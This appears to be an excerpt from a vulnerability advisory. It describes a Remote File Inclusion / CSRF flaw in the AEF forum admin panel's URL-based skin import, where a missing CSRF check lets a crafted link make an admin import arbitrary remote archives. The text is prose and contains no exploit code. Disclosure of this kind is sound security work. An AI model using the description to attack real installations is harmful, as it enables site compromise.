Vulnerability Type:  
============================  
Remote File Inclusion / CSRF  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
In Admin control panel there is option to Import Skins and one choice is  
using a web URL.  
  
>From AEF:  
  
"Specify the URL of the theme on the net. The theme file must be a  
compressed archive (zip, tgz, tbz2, tar)."  
  
However there is no CSRF token or check made that this is a valid request  
made by the currently logged in user, resulting  
in arbitrary remote file imports from an attacker if the user visits or  
clicks an malicious link. Victims will then be left  
open to arbitrary malicious file downloads from anywhere on the net which  
may be used as a platform for further attacks...
